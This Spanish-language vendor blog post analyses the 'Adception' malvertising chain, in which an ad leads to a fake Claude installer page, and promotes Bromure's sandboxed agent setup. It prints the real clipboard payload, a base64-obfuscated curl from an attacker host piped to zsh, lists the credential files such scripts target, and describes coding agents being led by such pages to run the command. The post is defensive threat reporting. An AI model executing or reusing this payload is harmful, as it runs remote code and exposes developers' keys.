← Volver a todas las publicaciones
Publicado el · por Renaud Deraison

La página mostraba el comando real

El 9 de octubre, Push Security describió un anuncio de Google para “claude mac” cuyo destino era un enlace real de bing.com. Cuatro redirecciones después, una página falsa de descarga de Claude mostraba el comando de instalación genuino de Anthropic, y su botón Copiar ponía otro en el portapapeles: una URL oculta, canalizada a zsh. Push llama a la técnica Adception. En Bromure Agentic Coding, Claude Code llega dentro de una VM mediante un paso de configuración firmado, el inicio de sesión ocurre en una máquina desechable y nadie escribe un comando de instalación en una terminal del Mac.

La página mostraba el comando de instalación de Anthropic, carácter por carácter. El botón Copiar ponía otro en el portapapeles.

Alguien en un cliente de Push Security escribió “claude mac” en Google. El primer resultado era un enlace patrocinado, y el dominio que aparecía debajo era bing.com. El anuncio no usaba ningún dominio parecido ni ninguna errata en el nombre de Anthropic. La revisión de anuncios de Google había aprobado un anuncio cuyo destino era otro buscador.

Push publicó la cadena el jueves 9 de octubre y bautizó la técnica como Adception. BleepingComputer publicó la historia esa misma tarde. Los investigadores de Push escribieron que ya habían visto resultados de búsqueda usados como redirectores, pero “nunca como destino de un anuncio de búsqueda, y no encontramos ningún informe público previo de ello”. Una marca de tiempo dentro del enlace de Bing se decodifica como 5 de octubre.

Cuatro saltos hasta un botón Copiar

El clic pasaba por cuatro paradas:

  1. google.com/aclk, la redirección de clics en anuncios de Google.
  2. bing.com/ck/a, el propio enlace de seguimiento de clics de Bing para un resultado de búsqueda real. Redirige con una breve página JavaScript, así que el navegador llega al siguiente salto con un referrer bing.com.
  3. La página “quiénes somos” de un comercio sudamericano real con un sitio WordPress comprometido. Solo redirige a los visitantes que llegan desde Bing con las cabeceras de navegador adecuadas.
  4. claude-desk-code[.]com, una copia cuidada de la página de descarga de Claude, con un botón Download for macOS y una instalación de una línea en la terminal.

Cada salto comprueba de dónde viene el visitante. Si cargas la página falsa directamente, su JavaScript lee document.referrer, no encuentra ni Google ni Bing, y sirve /404.html. Un revisor de anuncios, un escáner o un investigador que pegue la URL no ve nada. En palabras de Push, “la carga maliciosa solo aparecía si llegabas al final de la cadena por esta ruta concreta”.

La página muestra el comando que publica Anthropic:

curl -fsSL https://claude.ai/install.sh | bash

El botón Copiar pone esto en el portapapeles:

echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "aHR0cHM6Ly9sYWtlLTkwLmNvbS9jdXJsL2luaGd1cDlhL2E5MGZrYnFkZzhkMG11czY0b2g4ZHcuZGF0" | openssl base64 -d -A) | zsh

Pegada en Terminal, la primera mitad imprime una línea tranquilizadora con la URL de Anthropic. La segunda mitad decodifica una dirección oculta en lake-90[.]com, descarga un archivo .dat y lo canaliza a zsh. Nada llega al disco para que se pueda escanear antes. Push vincula ocho dominios señuelo, entre ellos cli-desktop[.]com y too.clawddddd[.]com, a un kit que sigue con el nombre de AcSig, y señala que los dominios rotan tan rápido que “los IoC de vida corta tienen un valor limitado”.

Por qué el señuelo es una herramienta de IA

Push clasifica Adception dentro de InstallFix, una variante de ClickFix que describió por primera vez en marzo: guías de instalación falsas para herramientas cuya instalación genuina es una línea de terminal. Claude Code es el caso de manual. Su instalación documentada es un curl canalizado a un shell, así que una página que le pide a un desarrollador pegar uno en Terminal parece auténtica.

Push dice que las páginas ClickFix ya suponen más de la mitad de sus detecciones mensuales, y que “4 de cada 5 ataques ClickFix (incluidas las variantes InstallFix y LLMshare) que detectamos llegan a las víctimas a través de buscadores”. Los desarrolladores son la mayoría de quienes buscan “claude mac”, y el Mac de un desarrollador vale mucho para quien ejecute un script en él.

Push no recuperó la carga final, así que nadie sabe todavía qué hace este script. Un proceso zsh lanzado desde tu Terminal se ejecuta como tú, con tu carpeta personal:

  • ~/.aws/credentials, ~/.config/gcloud, ~/.kube/config
  • ~/.ssh/id_ed25519 y ~/.git-credentials
  • el token de gh y los tokens de publicación de npm y PyPI
  • los archivos .env de cada checkout
  • el inicio de sesión del propio agente, si Claude Code ya estaba instalado
  • perfiles de navegador, cookies y tokens de sesión

Además, la víctima cree que la instalación funcionó. Si el script instala el Claude Code real como último paso, nada parece fuera de lugar.

En un Mac: 4 redirecciones, 1 botón Copiar, 1 pegado1. Anuncio de Googlebúsqueda: "claude mac"dominio visible: bing.com2. bing.com/ck/aenlace real de resultadoredirige con JavaScript3. "Quiénes somos"WordPress comprometidosolo redirige desde Bing4. claude-desk-code[.]compágina de descarga falsavisita directa: 404Mostrado en la páginacurl -fsSL https://claude.ai/install.sh | bashPuesto en el portapapelesecho "Downloading Claude…" && curl $(… | base64 -d) | zshTerminal en tu Mac: el script de lake-90[.]com se ejecuta como tú~/.aws · ~/.config/gcloud · ~/.kube/config · ~/.ssh · token gh · tokens npm y PyPI · .env · sesiones del navegadorLa pantalla dice "Downloading Claude: https://claude.ai/install.sh". Nada se escribe en disco antes de ejecutarse.
Adception en un Mac. Cada redirección comprueba el referrer, así que solo un clic real en el anuncio llega a la página falsa. La página muestra el comando de Anthropic, copia el del atacante, y la línea pegada ejecuta un script oculto como tú.

El consejo te carga el trabajo a ti

Las recomendaciones que siguieron al informe son la lista de siempre: escribe tú mismo la URL del fabricante, desconfía de los resultados patrocinados, lee lo que pegaste antes de pulsar Return, trata como sospechosa cualquier página de instalación que pida abrir Terminal. Todo es correcto. También le pide a un desarrollador, en plena instalación de una herramienta nueva, que lea con más atención que una página hecha para superar un vistazo. El comando en pantalla era el de Anthropic. El dominio del anuncio era el de Bing. La redirección pasaba por un comercio real. Un desarrollador cuidadoso que hubiera comprobado cada uno de esos puntos no habría encontrado nada raro.

Bromure elimina el paso del que depende el ataque: un desarrollador pegando el comando de instalación de un agente de código en una terminal del Mac que guarda sus claves.

Claude Code en un Mac, sin instalarlo en el Mac

Bromure Agentic Coding ejecuta Claude Code, Codex, Grok, Kimi Code y Oh My Pi dentro de VM Linux en tu Mac. Ninguno llega allí a través de una terminal del Mac.

La app es una imagen de disco notarizada

Bromure Agentic Coding se distribuye como un DMG firmado y notarizado desde bromure.io. Lo arrastras a Aplicaciones, y Gatekeeper lo abre sin avisos. El manual dice qué hacer con cualquier otra copia: “Si conseguiste un DMG en otro sitio que no sea bromure.io y Gatekeeper protesta, tómalo como una señal de alarma, no como algo que haya que sortear”. Después, la app se actualiza sola con Sparkle y comprueba cada actualización con la clave de firma de Bromure antes de instalarla. Toda la instalación no contiene ningún comando, así que no hay ningún botón Copiar que nadie pueda cambiar.

Los agentes llegan como pasos de configuración firmados

En el primer arranque, el asistente de configuración descarga la imagen base de Bromure, un disco Ubuntu 24.04, y comprueba su SHA-256. Después instala los agentes en tu copia de la imagen como pasos de configuración listados en un catálogo. El catálogo lleva una firma ed25519, hecha con la misma clave que firma las actualizaciones de la app, y la firma cubre cada comando de configuración. La app rechaza un catálogo sin firmar o alterado, y cualquier catálogo más antiguo que uno que ya haya aceptado.

El paso de Claude Code es una instalación con npm envuelta en el escáner de cadena de suministro de Socket.dev, ejecutada dentro de una VM auxiliar. Nadie lo pega, y un servidor de descargas manipulado no puede cambiarlo. Mientras se ejecuta, el paso del asistente muestra “Customizing the image: installing packages…”.

Cuando más adelante un agente se actualiza a sí mismo dentro de una máquina con npm install -g, la petición atraviesa el proxy de Bromure en el Mac como cualquier otra descarga de paquetes. El proxy aplica la política de cadena de suministro de la máquina (antigüedad mínima, OSV, Socket.dev, Depi, lo que hayas activado) antes de que un solo byte llegue a la VM, y registra la descarga en la Security Timeline.

El inicio de sesión ocurre en una máquina desechable

La guía de instalación de Claude Code termina con un inicio de sesión. En Bromure se encarga el paso Models del asistente: elige el inicio de sesión de Anthropic, termina en la página del navegador que se abre y espera a Signed in to Claude. El manual describe lo que pasa por debajo: “El inicio de sesión ocurre en tu Mac, en una máquina temporal oculta; nunca ves una terminal”. La propia CLI del proveedor hace su inicio de sesión dentro de esa VM. Bromure captura los tokens en el host, los cifra y borra la VM.

El inicio de sesión se guarda en un archivo cifrado con AES-GCM bajo una clave maestra que se conserva en el Data Protection Keychain del Mac, marcada solo para este dispositivo y con la sincronización de iCloud desactivada. Ningún archivo de token ~/.claude queda en tu carpeta personal para que un script lo recoja, y cada máquina recibe su propio sustituto.

En Bromure: Claude Code en tu Mac, y nada pegado en TerminalLa appDMG firmado y notarizadodesde bromure.ioArrastrar a Aplicaciones,Gatekeeper la abreSparkle actualiza, conla clave de Bromureningún comando que copiarConfiguración, en el MacCatálogo de imágenes, ed25519:cubre cada comandoClaude Code: npm install,con Socket.dev, en VM auxiliarSesión: VM temporal ocultatokens capturados y cifradosen el host, VM borradaVM de la máquina (Ubuntu)Claude Code, Codex, Grok,Kimi Code, Oh My Pisk-ant-api03-brm-…sustitutos, no tus clavesnpm install -g (autoupdate)→ controles del proxy→ Security TimelineGuardado en el Mac, cifrado con una clave del Keychain (solo este equipo)sesiones de suscripción · claves de API · credenciales de git y nube · claves SSH · trazas
El mismo objetivo en Bromure. La app es un DMG notarizado, los agentes se instalan con pasos firmados dentro de la imagen, y el inicio de sesión se ejecuta en una VM que luego se borra. Ningún paso te pide pegar un comando en Terminal.

Cuando el agente sale a buscar instaladores

Adception apunta a una persona frente a un cuadro de búsqueda. Los agentes de código también buscan instrucciones de instalación, y con más frecuencia que las personas: una CLI que falta, un SDK nuevo, un linter que menciona el README. Un agente lee el HTML de la página en lugar de pulsar Copiar, pero las páginas InstallFix llevan el comando malicioso en el código fuente, y puede que la próxima campaña ni se moleste con el truco del portapapeles.

Supongamos que un agente en una máquina Bromure encuentra una página como claude-desk-code[.]com y ejecuta su comando de una línea. Hay cuatro capas entre ese script y tus claves.

El script se ejecuta en un invitado Linux con sustitutos

La máquina es una VM Ubuntu, y el script se ejecuta en ese invitado Linux. Su carpeta personal contiene el checkout del proyecto y sustitutos brm_ con los nombres de siempre: ANTHROPIC_API_KEY, GH_TOKEN, AWS_SECRET_ACCESS_KEY. Los valores reales siguen cifrados en el Mac, y el proxy solo los pone en el cable para peticiones al host para el que se generó cada credencial. Un script que recoge todos los tokens que encuentra recoge cadenas que ningún servidor aceptará.

Un sustituto rumbo al host equivocado detiene la máquina

El proxy examina cada petición saliente, línea de petición, cabeceras y cuerpo, en busca de sustitutos que vayan a un host al que no pertenecen. Cuando el script envía su botín al servidor del atacante, el proxy responde HTTP 451, no reenvía nada, pausa la VM y abre This environment may have been compromised en el Mac, con el token, su credencial, el host al que pertenece y el host al que se envió.

El host de la carga nunca estuvo en la lista

El panel Guardrails de la máquina tiene un cortafuegos de Outbound connections, con reglas por host, rango de IP, protocolo y puerto. Pon Unmatched traffic en Deny, permite el proveedor del modelo, los registros y GitHub, y el curl a lake-90[.]com nunca se conecta. El veredicto aparece en la Security Timeline junto a la sesión que hizo la petición.

La carpeta personal vuelve atrás

Cada arranque de una máquina crea un punto de restauración de su carpeta personal. Apaga la máquina, elige Rewind home…, selecciona el arranque de antes de que se ejecutara el script, y el siguiente inicio arranca desde esa carpeta. La carpeta actual se guarda antes como un punto nuevo, así que la vuelta atrás también se puede deshacer. Para empezar de cero, restablece la máquina a la imagen base.

Ningún comando de instalación que pegar

Bromure se distribuye como un DMG notarizado desde bromure.io y se actualiza con versiones firmadas de Sparkle. Nada en la configuración te pide abrir Terminal.

Los agentes salen de un catálogo firmado

Claude Code y los demás agentes se instalan en la imagen base mediante pasos cuyos comandos cubre una firma ed25519. Un servidor manipulado no puede cambiarlos.

Inicio de sesión en una VM desechable

El inicio de sesión del proveedor se ejecuta en una máquina temporal oculta. Los tokens se cifran en el Mac con una clave del Keychain, y cada máquina recibe un sustituto.

Una línea maliciosa acaba en una VM

Si un agente ejecuta una de todos modos, corre en Linux con sustitutos, detrás de un cortafuegos y un detector de compromiso en el Mac, y la carpeta personal vuelve atrás.

El próximo anuncio de búsqueda

Push descubrió Adception gracias al clic de un solo cliente, en un señuelo dirigido a un solo término de búsqueda. El kit AcSig tiene ocho dominios, y la misma página sirve para “codex mac”, “gemini cli install” o la herramienta que los desarrolladores busquen el mes que viene. Esta vez Google aprobó un enlace de Bing. La próxima, el anuncio puede apuntar a otro dominio en el que confíe un revisor de anuncios.

Instala el agente de código una vez, como app, y deja que se ejecute donde la configuración está firmada y las claves son sustitutos. Para saber más sobre comandos pegados y confianza prestada, lee El portapapeles es el exploit y Añadieron tu agente a la lista.